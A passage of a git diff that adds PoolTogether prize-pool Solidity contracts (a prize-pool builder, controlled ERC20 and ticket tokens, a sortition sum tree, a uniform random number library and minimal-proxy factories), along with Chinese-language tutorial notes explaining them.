+      prizeStrategyConfig.ticketCreditLimitMantissa.toUint128()
+    );
+    prizePool.transferOwnership(msg.sender);
+    emit YieldSourcePrizePoolWithMultipleWinnersCreated(prizePool, prizeStrategy);
+    return prizePool;
+  }
+
+  function createStakeMultipleWinners(
+    StakePrizePoolConfig memory prizePoolConfig,
+    MultipleWinnersBuilder.MultipleWinnersConfig memory prizeStrategyConfig,
+    uint8 decimals
+  ) external returns (StakePrizePool) {
+    StakePrizePool prizePool = stakePrizePoolProxyFactory.create();
+    MultipleWinners prizeStrategy = multipleWinnersBuilder.createMultipleWinners(
+      prizePool,
+      prizeStrategyConfig,
+      decimals,
+      msg.sender
+    );
+    prizePool.initialize(
+      reserveRegistry,
+      _tokens(prizeStrategy),
+      prizePoolConfig.maxExitFeeMantissa,
+      prizePoolConfig.token
+    );
+    prizePool.setPrizeStrategy(prizeStrategy);
+    prizePool.setCreditPlanOf(
+      address(prizeStrategy.ticket()),
+      prizeStrategyConfig.ticketCreditRateMantissa.toUint128(),
+      prizeStrategyConfig.ticketCreditLimitMantissa.toUint128()
+    );
+    prizePool.transferOwnership(msg.sender);
+    emit StakePrizePoolWithMultipleWinnersCreated(prizePool, prizeStrategy);
+    return prizePool;
+  }
+
+  function _tokens(MultipleWinners _multipleWinners) internal view returns (ControlledTokenInterface[] memory) {
+    ControlledTokenInterface[] memory tokens = new ControlledTokenInterface[](2);
+    tokens[0] = ControlledTokenInterface(address(_multipleWinners.ticket()));
+    tokens[1] = ControlledTokenInterface(address(_multipleWinners.sponsorship()));
+    return tokens;
+  }
+
+}
diff --git a/basic/33-pooltogether/contracts/token/ControlledToken.sol b/basic/33-pooltogether/contracts/token/ControlledToken.sol
new file mode 100644
index 000000000..b436e271d
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/ControlledToken.sol
@@ -0,0 +1,98 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+
+import "@openzeppelin/contracts-upgradeable/drafts/ERC20PermitUpgradeable.sol";
+
+import "./TokenControllerInterface.sol";
+import "./ControlledTokenInterface.sol";
+
+/// @title Controlled ERC20 Token
+/// @notice ERC20 Tokens with a controller for minting & burning
+contract ControlledToken is ERC20PermitUpgradeable, ControlledTokenInterface {
+
+  /// @dev Emitted when an instance is initialized
+  event Initialized(
+    string _name,
+    string _symbol,
+    uint8 _decimals,
+    TokenControllerInterface _controller
+  );
+
+  /// @notice Interface to the contract responsible for controlling mint/burn
+  TokenControllerInterface public override controller;
+
+  /// @notice Initializes the Controlled Token with Token Details and the Controller
+  /// @param _name The name of the Token
+  /// @param _symbol The symbol for the Token
+  /// @param _decimals The number of decimals for the Token
+  /// @param _controller Address of the Controller contract for minting & burning
+  function initialize(
+    string memory _name,
+    string memory _symbol,
+    uint8 _decimals,
+    TokenControllerInterface _controller
+  )
+    public
+    virtual
+    initializer
+  {
+    require(address(_controller) != address(0), "ControlledToken/controller-not-zero");
+    __ERC20_init(_name, _symbol);
+    __ERC20Permit_init("PoolTogether ControlledToken");
+    controller = _controller;
+    _setupDecimals(_decimals);
+
+    emit Initialized(
+      _name,
+      _symbol,
+      _decimals,
+      _controller
+    );
+  }
+
+  /// @notice Allows the controller to mint tokens for a user account
+  /// @dev May be overridden to provide more granular control over minting
+  /// @param _user Address of the receiver of the minted tokens
+  /// @param _amount Amount of tokens to mint
+  function controllerMint(address _user, uint256 _amount) external virtual override onlyController {
+    _mint(_user, _amount);
+  }
+
+  /// @notice Allows the controller to burn tokens from a user account
+  /// @dev May be overridden to provide more granular control over burning
+  /// @param _user Address of the holder account to burn tokens from
+  /// @param _amount Amount of tokens to burn
+  function controllerBurn(address _user, uint256 _amount) external virtual override onlyController {
+    _burn(_user, _amount);
+  }
+
+  /// @notice Allows an operator via the controller to burn tokens on behalf of a user account
+  /// @dev May be overridden to provide more granular control over operator-burning
+  /// @param _operator Address of the operator performing the burn action via the controller contract
+  /// @param _user Address of the holder account to burn tokens from
+  /// @param _amount Amount of tokens to burn
+  function controllerBurnFrom(address _operator, address _user, uint256 _amount) external virtual override onlyController {
+    if (_operator != _user) {
+      uint256 decreasedAllowance = allowance(_user, _operator).sub(_amount, "ControlledToken/exceeds-allowance");
+      _approve(_user, _operator, decreasedAllowance);
+    }
+    _burn(_user, _amount);
+  }
+
+  /// @dev Function modifier to ensure that the caller is the controller contract
+  modifier onlyController {
+    require(_msgSender() == address(controller), "ControlledToken/only-controller");
+    _;
+  }
+
+  /// @dev Controller hook to provide notifications & rule validations on token transfers to the controller.
+  /// This includes minting and burning.
+  /// May be overridden to provide more granular control over operator-burning
+  /// @param from Address of the account sending the tokens (address(0x0) on minting)
+  /// @param to Address of the account receiving the tokens (address(0x0) on burning)
+  /// @param amount Amount of tokens being transferred
+  function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
+    controller.beforeTokenTransfer(from, to, amount);
+  }
+}
diff --git a/basic/33-pooltogether/contracts/token/ControlledTokenInterface.sol b/basic/33-pooltogether/contracts/token/ControlledTokenInterface.sol
new file mode 100644
index 000000000..d5be63e2e
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/ControlledTokenInterface.sol
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+
+import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
+
+import "./TokenControllerInterface.sol";
+
+/// @title Controlled ERC20 Token
+/// @notice ERC20 Tokens with a controller for minting & burning
+interface ControlledTokenInterface is IERC20Upgradeable {
+
+  /// @notice Interface to the contract responsible for controlling mint/burn
+  function controller() external view returns (TokenControllerInterface);
+
+  /// @notice Allows the controller to mint tokens for a user account
+  /// @dev May be overridden to provide more granular control over minting
+  /// @param _user Address of the receiver of the minted tokens
+  /// @param _amount Amount of tokens to mint
+  function controllerMint(address _user, uint256 _amount) external;
+
+  /// @notice Allows the controller to burn tokens from a user account
+  /// @dev May be overridden to provide more granular control over burning
+  /// @param _user Address of the holder account to burn tokens from
+  /// @param _amount Amount of tokens to burn
+  function controllerBurn(address _user, uint256 _amount) external;
+
+  /// @notice Allows an operator via the controller to burn tokens on behalf of a user account
+  /// @dev May be overridden to provide more granular control over operator-burning
+  /// @param _operator Address of the operator performing the burn action via the controller contract
+  /// @param _user Address of the holder account to burn tokens from
+  /// @param _amount Amount of tokens to burn
+  function controllerBurnFrom(address _operator, address _user, uint256 _amount) external;
+}
diff --git a/basic/33-pooltogether/contracts/token/ControlledTokenProxyFactory.sol b/basic/33-pooltogether/contracts/token/ControlledTokenProxyFactory.sol
new file mode 100644
index 000000000..f59265a1f
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/ControlledTokenProxyFactory.sol
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+
+import "./ControlledToken.sol";
+import "../external/openzeppelin/ProxyFactory.sol";
+
+/// @title Controlled ERC20 Token Factory
+/// @notice Minimal proxy pattern for creating new Controlled ERC20 Tokens
+contract ControlledTokenProxyFactory is ProxyFactory {
+
+  /// @notice Contract template for deploying proxied tokens
+  ControlledToken public instance;
+
+  /// @notice Initializes the Factory with an instance of the Controlled ERC20 Token
+  constructor () public {
+    instance = new ControlledToken();
+  }
+
+  /// @notice Creates a new Controlled ERC20 Token as a proxy of the template instance
+  /// @return A reference to the new proxied Controlled ERC20 Token
+  function create() external returns (ControlledToken) {
+    return ControlledToken(deployMinimal(address(instance), ""));
+  }
+}
diff --git a/basic/33-pooltogether/contracts/token/SortitionSumTreeFactory.sol b/basic/33-pooltogether/contracts/token/SortitionSumTreeFactory.sol
new file mode 100644
index 000000000..5605b691f
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/SortitionSumTreeFactory.sol
@@ -0,0 +1,238 @@
+/**
+ *  @reviewers: [@clesaege, @unknownunknown1, @ferittuncer]
+ *  @auditors: []
+ *  @bounties: [<14 days 10 ETH max payout>]
+ *  @deployments: []
+ */
+
+pragma solidity ^0.6.0;
+
+/**
+ *  @title SortitionSumTreeFactory
+ *  @author Enrique Piqueras - <epiquerass@gmail.com>
+ *  @dev A factory of trees that keep track of staked values for sortition.
+ */
+library SortitionSumTreeFactory {
+    /* Structs */
+
+    struct SortitionSumTree {
+        uint K; // The maximum number of childs per node.
+        // We use this to keep track of vacant positions in the tree after removing a leaf. This is for keeping the tree as balanced as possible without spending gas on moving nodes around.
+        uint[] stack;
+        uint[] nodes;
+        // Two-way mapping of IDs to node indexes. Note that node index 0 is reserved for the root node, and means the ID does not have a node.
+        mapping(bytes32 => uint) IDsToNodeIndexes;
+        mapping(uint => bytes32) nodeIndexesToIDs;
+    }
+
+    /* Storage */
+
+    struct SortitionSumTrees {
+        mapping(bytes32 => SortitionSumTree) sortitionSumTrees;
+    }
+
+    /* internal */
+
+    /**
+     *  @dev Create a sortition sum tree at the specified key.
+     *  @param _key The key of the new tree.
+     *  @param _K The number of children each node in the tree should have.
+     */
+    function createTree(SortitionSumTrees storage self, bytes32 _key, uint _K) internal {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        require(tree.K == 0, "Tree already exists.");
+        require(_K > 1, "K must be greater than one.");
+        tree.K = _K;
+        tree.stack = new uint[](0);
+        tree.nodes = new uint[](0);
+        tree.nodes.push(0);
+    }
+
+    /**
+     *  @dev Set a value of a tree.
+     *  @param _key The key of the tree.
+     *  @param _value The new value.
+     *  @param _ID The ID of the value.
+     *  `O(log_k(n))` where
+     *  `k` is the maximum number of childs per node in the tree,
+     *   and `n` is the maximum number of nodes ever appended.
+     */
+    function set(SortitionSumTrees storage self, bytes32 _key, uint _value, bytes32 _ID) internal {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        uint treeIndex = tree.IDsToNodeIndexes[_ID];
+
+        if (treeIndex == 0) { // No existing node.
+            if (_value != 0) { // Non zero value.
+                // Append.
+                // Add node.
+                if (tree.stack.length == 0) { // No vacant spots.
+                    // Get the index and append the value.
+                    treeIndex = tree.nodes.length;
+                    tree.nodes.push(_value);
+
+                    // Potentially append a new node and make the parent a sum node.
+                    if (treeIndex != 1 && (treeIndex - 1) % tree.K == 0) { // Is first child.
+                        uint parentIndex = treeIndex / tree.K;
+                        bytes32 parentID = tree.nodeIndexesToIDs[parentIndex];
+                        uint newIndex = treeIndex + 1;
+                        tree.nodes.push(tree.nodes[parentIndex]);
+                        delete tree.nodeIndexesToIDs[parentIndex];
+                        tree.IDsToNodeIndexes[parentID] = newIndex;
+                        tree.nodeIndexesToIDs[newIndex] = parentID;
+                    }
+                } else { // Some vacant spot.
+                    // Pop the stack and append the value.
+                    treeIndex = tree.stack[tree.stack.length - 1];
+                    tree.stack.pop();
+                    tree.nodes[treeIndex] = _value;
+                }
+
+                // Add label.
+                tree.IDsToNodeIndexes[_ID] = treeIndex;
+                tree.nodeIndexesToIDs[treeIndex] = _ID;
+
+                updateParents(self, _key, treeIndex, true, _value);
+            }
+        } else { // Existing node.
+            if (_value == 0) { // Zero value.
+                // Remove.
+                // Remember value and set to 0.
+                uint value = tree.nodes[treeIndex];
+                tree.nodes[treeIndex] = 0;
+
+                // Push to stack.
+                tree.stack.push(treeIndex);
+
+                // Clear label.
+                delete tree.IDsToNodeIndexes[_ID];
+                delete tree.nodeIndexesToIDs[treeIndex];
+
+                updateParents(self, _key, treeIndex, false, value);
+            } else if (_value != tree.nodes[treeIndex]) { // New, non zero value.
+                // Set.
+                bool plusOrMinus = tree.nodes[treeIndex] <= _value;
+                uint plusOrMinusValue = plusOrMinus ? _value - tree.nodes[treeIndex] : tree.nodes[treeIndex] - _value;
+                tree.nodes[treeIndex] = _value;
+
+                updateParents(self, _key, treeIndex, plusOrMinus, plusOrMinusValue);
+            }
+        }
+    }
+
+    /* internal Views */
+
+    /**
+     *  @dev Query the leaves of a tree. Note that if `startIndex == 0`, the tree is empty and the root node will be returned.
+     *  @param _key The key of the tree to get the leaves from.
+     *  @param _cursor The pagination cursor.
+     *  @param _count The number of items to return.
+     *  @return startIndex The index at which leaves start
+     *  @return values The values of the returned leaves
+     *  @return hasMore Whether there are more for pagination.
+     *  `O(n)` where
+     *  `n` is the maximum number of nodes ever appended.
+     */
+    function queryLeafs(
+        SortitionSumTrees storage self,
+        bytes32 _key,
+        uint _cursor,
+        uint _count
+    ) internal view returns(uint startIndex, uint[] memory values, bool hasMore) {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+
+        // Find the start index.
+        for (uint i = 0; i < tree.nodes.length; i++) {
+            if ((tree.K * i) + 1 >= tree.nodes.length) {
+                startIndex = i;
+                break;
+            }
+        }
+
+        // Get the values.
+        uint loopStartIndex = startIndex + _cursor;
+        values = new uint[](loopStartIndex + _count > tree.nodes.length ? tree.nodes.length - loopStartIndex : _count);
+        uint valuesIndex = 0;
+        for (uint j = loopStartIndex; j < tree.nodes.length; j++) {
+            if (valuesIndex < _count) {
+                values[valuesIndex] = tree.nodes[j];
+                valuesIndex++;
+            } else {
+                hasMore = true;
+                break;
+            }
+        }
+    }
+
+    /**
+     *  @dev Draw an ID from a tree using a number. Note that this function reverts if the sum of all values in the tree is 0.
+     *  @param _key The key of the tree.
+     *  @param _drawnNumber The drawn number.
+     *  @return ID The drawn ID.
+     *  `O(k * log_k(n))` where
+     *  `k` is the maximum number of childs per node in the tree,
+     *   and `n` is the maximum number of nodes ever appended.
+     */
+    function draw(SortitionSumTrees storage self, bytes32 _key, uint _drawnNumber) internal view returns(bytes32 ID) {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        uint treeIndex = 0;
+        uint currentDrawnNumber = _drawnNumber % tree.nodes[0];
+
+        while ((tree.K * treeIndex) + 1 < tree.nodes.length)  // While it still has children.
+            for (uint i = 1; i <= tree.K; i++) { // Loop over children.
+                uint nodeIndex = (tree.K * treeIndex) + i;
+                uint nodeValue = tree.nodes[nodeIndex];
+
+                if (currentDrawnNumber >= nodeValue) currentDrawnNumber -= nodeValue; // Go to the next child.
+                else { // Pick this child.
+                    treeIndex = nodeIndex;
+                    break;
+                }
+            }
+        
+        ID = tree.nodeIndexesToIDs[treeIndex];
+    }
+
+    /** @dev Gets a specified ID's associated value.
+     *  @param _key The key of the tree.
+     *  @param _ID The ID of the value.
+     *  @return value The associated value.
+     */
+    function stakeOf(SortitionSumTrees storage self, bytes32 _key, bytes32 _ID) internal view returns(uint value) {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        uint treeIndex = tree.IDsToNodeIndexes[_ID];
+
+        if (treeIndex == 0) value = 0;
+        else value = tree.nodes[treeIndex];
+    }
+
+    function total(SortitionSumTrees storage self, bytes32 _key) internal view returns (uint) {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        if (tree.nodes.length == 0) {
+            return 0;
+        } else {
+            return tree.nodes[0];
+        }
+    }
+
+    /* Private */
+
+    /**
+     *  @dev Update all the parents of a node.
+     *  @param _key The key of the tree to update.
+     *  @param _treeIndex The index of the node to start from.
+     *  @param _plusOrMinus Wether to add (true) or substract (false).
+     *  @param _value The value to add or substract.
+     *  `O(log_k(n))` where
+     *  `k` is the maximum number of childs per node in the tree,
+     *   and `n` is the maximum number of nodes ever appended.
+     */
+    function updateParents(SortitionSumTrees storage self, bytes32 _key, uint _treeIndex, bool _plusOrMinus, uint _value) private {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+
+        uint parentIndex = _treeIndex;
+        while (parentIndex != 0) {
+            parentIndex = (parentIndex - 1) / tree.K;
+            tree.nodes[parentIndex] = _plusOrMinus ? tree.nodes[parentIndex] + _value : tree.nodes[parentIndex] - _value;
+        }
+    }
+}
diff --git a/basic/33-pooltogether/contracts/token/Ticket.sol b/basic/33-pooltogether/contracts/token/Ticket.sol
new file mode 100644
index 000000000..928fcce35
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/Ticket.sol
@@ -0,0 +1,100 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+
+import "sortition-sum-tree-factory/contracts/SortitionSumTreeFactory.sol";
+import "@pooltogether/uniform-random-number/contracts/UniformRandomNumber.sol";
+
+import "./ControlledToken.sol";
+import "./TicketInterface.sol";
+
+contract Ticket is ControlledToken, TicketInterface {
+  using SortitionSumTreeFactory for SortitionSumTreeFactory.SortitionSumTrees;
+
+  bytes32 constant private TREE_KEY = keccak256("PoolTogether/Ticket");
+  uint256 constant private MAX_TREE_LEAVES = 5;
+
+  /// @dev Emitted when an instance is initialized
+  event Initialized(
+    string _name,
+    string _symbol,
+    uint8 _decimals,
+    TokenControllerInterface _controller
+  );
+
+  // Ticket-weighted odds
+  SortitionSumTreeFactory.SortitionSumTrees internal sortitionSumTrees;
+
+  /// @notice Initializes the Controlled Token with Token Details and the Controller
+  /// @param _name The name of the Token
+  /// @param _symbol The symbol for the Token
+  /// @param _decimals The number of decimals for the Token
+  /// @param _controller Address of the Controller contract for minting & burning
+  function initialize(
+    string memory _name,
+    string memory _symbol,
+    uint8 _decimals,
+    TokenControllerInterface _controller
+  )
+    public
+    virtual
+    override
+    initializer
+  {
+    require(address(_controller) != address(0), "Ticket/controller-not-zero");
+    ControlledToken.initialize(_name, _symbol, _decimals, _controller);
+    sortitionSumTrees.createTree(TREE_KEY, MAX_TREE_LEAVES);
+    emit Initialized(
+      _name,
+      _symbol,
+      _decimals,
+      _controller
+    );
+  }
+
+  /// @notice Returns the user's chance of winning.
+  function chanceOf(address user) external view returns (uint256) {
+    return sortitionSumTrees.stakeOf(TREE_KEY, bytes32(uint256(user)));
+  }
+
+  /// @notice Selects a user using a random number.  The random number will be uniformly bounded to the ticket totalSupply.
+  /// @param randomNumber The random number to use to select a user.
+  /// @return The winner
+  function draw(uint256 randomNumber) external view override returns (address) {
+    uint256 bound = totalSupply();
+    address selected;
+    if (bound == 0) {
+      selected = address(0);
+    } else {
+      uint256 token = UniformRandomNumber.uniform(randomNumber, bound);
+      selected = address(uint256(sortitionSumTrees.draw(TREE_KEY, token)));
+    }
+    return selected;
+  }
+
+  /// @dev Controller hook to provide notifications & rule validations on token transfers to the controller.
+  /// This includes minting and burning.
+  /// May be overridden to provide more granular control over operator-burning
+  /// @param from Address of the account sending the tokens (address(0x0) on minting)
+  /// @param to Address of the account receiving the tokens (address(0x0) on burning)
+  /// @param amount Amount of tokens being transferred
+  function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
+    super._beforeTokenTransfer(from, to, amount);
+
+    // optimize: ignore transfers to self
+    if (from == to) {
+      return;
+    }
+
+    if (from != address(0)) {
+      uint256 fromBalance = balanceOf(from).sub(amount);
+      sortitionSumTrees.set(TREE_KEY, fromBalance, bytes32(uint256(from)));
+    }
+
+    if (to != address(0)) {
+      uint256 toBalance = balanceOf(to).add(amount);
+      sortitionSumTrees.set(TREE_KEY, toBalance, bytes32(uint256(to)));
+    }
+  }
+
+}
\ No newline at end of file
diff --git a/basic/33-pooltogether/contracts/token/TicketInterface.sol b/basic/33-pooltogether/contracts/token/TicketInterface.sol
new file mode 100644
index 000000000..6b062e3e8
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/TicketInterface.sol
@@ -0,0 +1,11 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity >=0.5.0 <0.7.0;
+
+/// @title Interface that allows a user to draw an address using an index
+interface TicketInterface {
+  /// @notice Selects a user using a random number.  The random number will be uniformly bounded to the ticket totalSupply.
+  /// @param randomNumber The random number to use to select a user.
+  /// @return The winner
+  function draw(uint256 randomNumber) external view returns (address);
+}
\ No newline at end of file
diff --git a/basic/33-pooltogether/contracts/token/TicketProxyFactory.sol b/basic/33-pooltogether/contracts/token/TicketProxyFactory.sol
new file mode 100644
index 000000000..187487347
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/TicketProxyFactory.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+
+import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
+
+import "./Ticket.sol";
+import "../external/openzeppelin/ProxyFactory.sol";
+
+/// @title Controlled ERC20 Token Factory
+/// @notice Minimal proxy pattern for creating new Controlled ERC20 Tokens
+contract TicketProxyFactory is ProxyFactory {
+
+  /// @notice Contract template for deploying proxied tokens
+  Ticket public instance;
+
+  /// @notice Initializes the Factory with an instance of the Controlled ERC20 Token
+  constructor () public {
+    instance = new Ticket();
+  }
+
+  /// @notice Creates a new Controlled ERC20 Token as a proxy of the template instance
+  /// @return A reference to the new proxied Controlled ERC20 Token
+  function create() external returns (Ticket) {
+    return Ticket(deployMinimal(address(instance), ""));
+  }
+}
diff --git a/basic/33-pooltogether/contracts/token/TokenControllerInterface.sol b/basic/33-pooltogether/contracts/token/TokenControllerInterface.sol
new file mode 100644
index 000000000..b2b815885
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/TokenControllerInterface.sol
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity >=0.5.0 <0.7.0;
+
+/// @title Controlled ERC20 Token Interface
+/// @notice Required interface for Controlled ERC20 Tokens linked to a Prize Pool
+/// @dev Defines the spec required to be implemented by a Controlled ERC20 Token
+interface TokenControllerInterface {
+
+  /// @dev Controller hook to provide notifications & rule validations on token transfers to the controller.
+  /// This includes minting and burning.
+  /// @param from Address of the account sending the tokens (address(0x0) on minting)
+  /// @param to Address of the account receiving the tokens (address(0x0) on burning)
+  /// @param amount Amount of tokens being transferred
+  function beforeTokenTransfer(address from, address to, uint256 amount) external;
+}
diff --git a/basic/33-pooltogether/contracts/token/TokenListener.sol b/basic/33-pooltogether/contracts/token/TokenListener.sol
new file mode 100644
index 000000000..831a86aa2
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/TokenListener.sol
@@ -0,0 +1,14 @@
+pragma solidity ^0.6.4;
+
+import "./TokenListenerInterface.sol";
+import "./TokenListenerLibrary.sol";
+import "../Constants.sol";
+
+abstract contract TokenListener is TokenListenerInterface {
+  function supportsInterface(bytes4 interfaceId) external override view returns (bool) {
+    return (
+      interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 || 
+      interfaceId == TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER
+    );
+  }
+}
diff --git a/basic/33-pooltogether/contracts/token/TokenListenerInterface.sol b/basic/33-pooltogether/contracts/token/TokenListenerInterface.sol
new file mode 100644
index 000000000..9b2761ad4
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/TokenListenerInterface.sol
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity >=0.5.0 <0.7.0;
+
+import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol";
+
+/// @title An interface that allows a contract to listen to token mint, transfer and burn events.
+interface TokenListenerInterface is IERC165Upgradeable {
+  /// @notice Called when tokens are minted.
+  /// @param to The address of the receiver of the minted tokens.
+  /// @param amount The amount of tokens being minted
+  /// @param controlledToken The address of the token that is being minted
+  /// @param referrer The address that referred the minting.
+  function beforeTokenMint(address to, uint256 amount, address controlledToken, address referrer) external;
+
+  /// @notice Called when tokens are transferred or burned.
+  /// @param from The address of the sender of the token transfer
+  /// @param to The address of the receiver of the token transfer.  Will be the zero address if burning.
+  /// @param amount The amount of tokens transferred
+  /// @param controlledToken The address of the token that was transferred
+  function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external;
+}
diff --git a/basic/33-pooltogether/contracts/token/TokenListenerLibrary.sol b/basic/33-pooltogether/contracts/token/TokenListenerLibrary.sol
new file mode 100644
index 000000000..9ecdb7b83
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/TokenListenerLibrary.sol
@@ -0,0 +1,11 @@
+pragma solidity 0.6.12;
+
+library TokenListenerLibrary {
+  /*
+    *     bytes4(keccak256('beforeTokenMint(address,uint256,address,address)')) == 0x4d7f3db0
+    *     bytes4(keccak256('beforeTokenTransfer(address,address,uint256,address)')) == 0xb2210957
+    *
+    *     => 0x4d7f3db0 ^ 0xb2210957 == 0xff5e34e7
+    */
+  bytes4 public constant ERC165_INTERFACE_ID_TOKEN_LISTENER = 0xff5e34e7;
+}
\ No newline at end of file
diff --git a/basic/33-pooltogether/contracts/token/UniformRandomNumber.sol b/basic/33-pooltogether/contracts/token/UniformRandomNumber.sol
new file mode 100644
index 000000000..57f5d2df3
--- /dev/null
+++ b/basic/33-pooltogether/contracts/token/UniformRandomNumber.sol
@@ -0,0 +1,43 @@
+/**
+Copyright 2019 PoolTogether LLC
+
+This file is part of PoolTogether.
+
+PoolTogether is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation under version 3 of the License.
+
+PoolTogether is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with PoolTogether.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+pragma solidity >=0.6.0 <0.8.0;
+
+/**
+ * @author Brendan Asselstine
+ * @notice A library that uses entropy to select a random number within a bound.  Compensates for modulo bias.
+ * @dev Thanks to https://medium.com/hownetworks/dont-waste-cycles-with-modulo-bias-35b6fdafcf94
+ */
+library UniformRandomNumber {
+  /// @notice Select a random number without modulo bias using a random seed and upper bound
+  /// @param _entropy The seed for randomness
+  /// @param _upperBound The upper bound of the desired number
+  /// @return A random number less than the _upperBound
+  function uniform(uint256 _entropy, uint256 _upperBound) internal pure returns (uint256) {
+    require(_upperBound > 0, "UniformRand/min-bound");
+    uint256 min = -_upperBound % _upperBound;
+    uint256 random = _entropy;
+    while (true) {
+      if (random >= min) {
+        break;
+      }
+      random = uint256(keccak256(abi.encodePacked(random)));
+    }
+    return random % _upperBound;
+  }
+}
\ No newline at end of file
diff --git a/basic/33-pooltogether/docs/1-ControlledToken.md b/basic/33-pooltogether/docs/1-ControlledToken.md
new file mode 100644
index 000000000..a950008f1
--- /dev/null
+++ b/basic/33-pooltogether/docs/1-ControlledToken.md
@@ -0,0 +1,33 @@
+## ControlledToken 介绍  
+ControlledToken 是一个受控的 ERC20 合约, 具体来说就是每个接口之后 admin 权限的地址才能调用。
+后续 Ticket 彩票合约就是继承自这个合约
+
+## 主要接口介绍  
+- create  
+创建被代理的 ControlledToken 合约。实际上是 clone 合约内部已经创建的 Controlled ( instance ) 
+```solidity
+/// @notice Creates a new Controlled ERC20 Token as a proxy of the template instance
+  /// @return A reference to the new proxied Controlled ERC20 Token
+  function create() external returns (ControlledToken) {
+    return ControlledToken(deployMinimal(address(instance), ""));
+  }
+
+function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) {
+    // Adapted from https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol
+    bytes20 targetBytes = bytes20(_logic);
+    assembly {
+      let clone := mload(0x40)
+      mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
+      mstore(add(clone, 0x14), targetBytes)
+      mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
+      proxy := create(0, clone, 0x37)
+    }
+
+    emit ProxyCreated(address(proxy));
+
+    if(_data.length > 0) {
+      (bool success,) = proxy.call(_data);
+      require(success, "ProxyFactory/constructor-call-failed");
+    }
+  }
+```
\ No newline at end of file
diff --git a/basic/33-pooltogether/docs/2- ControlledTokenProxyFactory.md b/basic/33-pooltogether/docs/2- ControlledTokenProxyFactory.md
new file mode 100644
index 000000000..b6f3e42c6
--- /dev/null
+++ b/basic/33-pooltogether/docs/2- ControlledTokenProxyFactory.md	
@@ -0,0 +1,32 @@
+## ControlledTokenProxyFactory 介绍  
+ControlledToken 合约的代理合约. 通过和此合约进行交互, 从而执行被代理的 ControlledToken 合约上的功能. 后续 ControlledToken 进行升级后, 修改被代理合约的新地址为新部署的 ControlledToken 合约地址, 即可完成 ControlledToken 的升级. 
+
+## 主要接口介绍  
+- create  
+创建被代理的 ControlledToken 合约。实际上是 clone 合约内部已经创建的 Controlled ( instance ) 
+```solidity
+/// @notice Creates a new Controlled ERC20 Token as a proxy of the template instance
+  /// @return A reference to the new proxied Controlled ERC20 Token
+  function create() external returns (ControlledToken) {
+    return ControlledToken(deployMinimal(address(instance), ""));
+  }
+
+function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) {
+    // Adapted from https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol
+    bytes20 targetBytes = bytes20(_logic);
+    assembly {
+      let clone := mload(0x40)
+      mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
+      mstore(add(clone, 0x14), targetBytes)
+      mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
+      proxy := create(0, clone, 0x37)
+    }
+
+    emit ProxyCreated(address(proxy));
+
+    if(_data.length > 0) {
+      (bool success,) = proxy.call(_data);
+      require(success, "ProxyFactory/constructor-call-failed");
+    }
+  }
+```
\ No newline at end of file
diff --git a/basic/33-pooltogether/docs/3-SortitionSumTreeFactory.md b/basic/33-pooltogether/docs/3-SortitionSumTreeFactory.md
new file mode 100644
index 000000000..ee7fc6673
--- /dev/null
+++ b/basic/33-pooltogether/docs/3-SortitionSumTreeFactory.md
@@ -0,0 +1,182 @@
+## SortitionSumTreeFactory 介绍  
+SortitionSumTreeFactory 是一个记录用户质押值, 并进行了数值统计的库类.  
+
+## 主要接口介绍  
+- createTree    
